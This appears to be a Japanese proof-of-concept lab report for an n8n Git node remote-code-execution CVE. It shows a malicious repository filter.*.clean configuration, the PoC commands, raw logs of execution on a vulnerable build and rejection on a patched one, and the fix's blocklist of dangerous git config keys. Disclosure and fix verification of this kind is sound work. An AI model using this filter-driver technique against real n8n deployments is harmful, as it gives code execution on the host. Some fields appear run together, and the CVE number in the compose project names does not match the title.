
CVE-2026-85168 — リポジトリローカルの filter.*.clean / merge-driver 設定を悪用した n8n Git ノードの add|commit|checkout における RCE。v2.35.3 / v2.36.2 で検証済み。
Git ノードは、既知の外部プログラム設定キーを -c で固定していました
(core.sshCommand、core.fsmonitor、core.pager、diff.external、
credential.helper、core.gitProxy、gpg.program、init.templateDir)が、
リポジトリ自身の .git/config にある content-filter および
merge-driver ファミリーをチェックすることはありませんでした。定義しているリポジトリは
[filter "pwn"]
clean = <command>
対応する .gitattributes(* filter=pwn)と組み合わせることで、ノードが実行する通常の Add、Commit、Checkout、Pull の際に git が <command> を実行します。コマンドは n8n プロセスユーザー(node、uid 1000)として実行されます。
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H< 1.123.73、>= 2.0.0 < 2.35.4、< 2.36.24c60d38f2a83("chore: Bundle/2.x (backport to release-candidate/2.36.x)")
→ packages/nodes-base/nodes/Git/GenericFunctions.ts に
findBlacklistedKeys() が追加され、filter.*.(clean|smudge|process)、
merge.*.driver、remote.*.(uploadpack|receivepack)、gpg.*.program、
core.askpass、core.editor、core.alternateRefsCommand、
gc.recentObjectsHook、hook.*.command、sequence.editor、
gpg.ssh.defaultKeyCommand、url.*.(insteadOf|pushInsteadOf) のパターンが含まれる。
Git.node.ts は add/commit/checkout/pull/push の前に validateGitConfig() を呼び出し、
Repository Git config key '<key>' is not allowed で中止する。攻撃者は、任意のローカル設定を持つリポジトリを Git ノードの前に用意できる必要があります。たとえば、インポート/共有されたチェックアウト、マウントされたボリューム上のプロジェクトリポジトリなどです。このラボでは --prepare がまさにそのリポジトリをコンテナ内に配置します(ワークフロー作成者によるファイル書き込みステップの代用)。それ以降のすべては、認証済みユーザーが n8n REST API 経由で実行します。
ノードは ~/.n8n-files 配下のリポジトリのみを受け付け(restrictFileAccessTo のデフォルト)、.git ブロックパターンに一致するパスを拒否するため、ラボのリポジトリは /home/node/.n8n-files/pwn-repo に配置されます。
cd ~/projects/poc-labs/n8n
docker compose -p poc-n8n-cve85165 -f docker-compose.2353.yml up -d # 2.35.3 -> :20001
docker compose -p poc-n8n-cve85165-fix -f docker-compose.2362.yml up -d # 2.36.2 -> :20003
n8nio/n8n:2.35.3 は [email protected] を同梱しており(findBlacklistedKeys なし)→
脆弱です。n8nio/n8n:2.36.2 は [email protected] を同梱しており(ブラックリストあり)→
修正済みです。なお、2.36.1 Docker イメージも同様に [email protected] を同梱しているため、
そのイメージも脆弱ではありません。2.35.3 が公開されている中で最も近い脆弱なタグです。
python3 n8n_poc.py --url http://127.0.0.1:20001 \
--container n8n-vuln-2353 --prepare --command 'id'
run_vulnerable_2.35.3.txt)[*] target : http://127.0.0.1:20001
[*] repo : planted /home/node/.n8n-files/pwn-repo (filter.pwn.clean = id)
[*] auth : logged in as [email protected]
[*] workflow : vuCSuHLscbXUty8i (Git node: operation=add, path=/home/node/.n8n-files/pwn-repo/note.txt)
[*] execution: 30
[*] git node : ok {"success": true}
[+] evidence read from container:
uid=1000(node) gid=1000(node) groups=1000(node)
=> PASS (CVE-2026-85168: git executed the repository-configured command as the n8n user)
exit=0
コンテナ側のチェック (side_effect_2.35.3.txt):
-rw-r--r-- 1 node node 48 Oct 24 14:01 /home/node/.n8n-files/pwn-repo/out.txt
uid=1000(node) gid=1000(node) groups=1000(node)
--- git config
[filter "pwn"]
clean = sh -c "id > /home/node/.n8n-files/pwn-repo/out.txt; cat"
run_patched_2.36.2.txt)[*] target : http://127.0.0.1:20003
[*] repo : planted /home/node/.n8n-files/pwn-repo (filter.pwn.clean = id)
[*] auth : logged in as [email protected]
[*] workflow : PteOTvLgk4FC8M4Z (Git node: operation=add, path=/home/node/.n8n-files/pwn-repo/note.txt)
[*] execution: 16
[*] git node : error Repository Git config key 'filter.pwn.clean' is not allowed
[!] no evidence file in container: cat: can't open '/home/node/.n8n-files/pwn-repo/out.txt': No such file or directory
=> FAIL (CVE-2026-85168: git config key rejected before the operation ran)
exit=1
両方のターゲットでリポジトリは同一であり、異なるのは n8n のビルドのみです。
プライマリ: GET /rest/executions/<id>?includeData=true によって返されるワークフロー出力
(Git ノードの {"success": true} と拒否エラーの対比)。セカンダリ(コマンドの出力が
HTTP レスポンスではなくファイルに書き込まれるため): 証明ファイルは
docker exec <container> cat <repo>/out.txt で読み戻されます — これは --container
ステップであり、スクリプト内でラボ側であることが明示されています。
| ファイル | 内容 |
|---|---|
n8n_poc.py | 標準ライブラリのみの PoC(--url --email --password --command --repo-path --container --prepare --output) |
run_vulnerable_2.35.3.txt, run_patched_2.36.2.txt | 生の実行ログ |
evidence_vulnerable_2.35.3.json, evidence_patched_2.36.2.json | JSON 証拠 |
side_effect_2.35.3.txt, side_effect_2.36.2.txt | コンテナ側のチェック |
docker_logs_2.35.3.txt, docker_logs_2.36.2.txt | コンテナログ |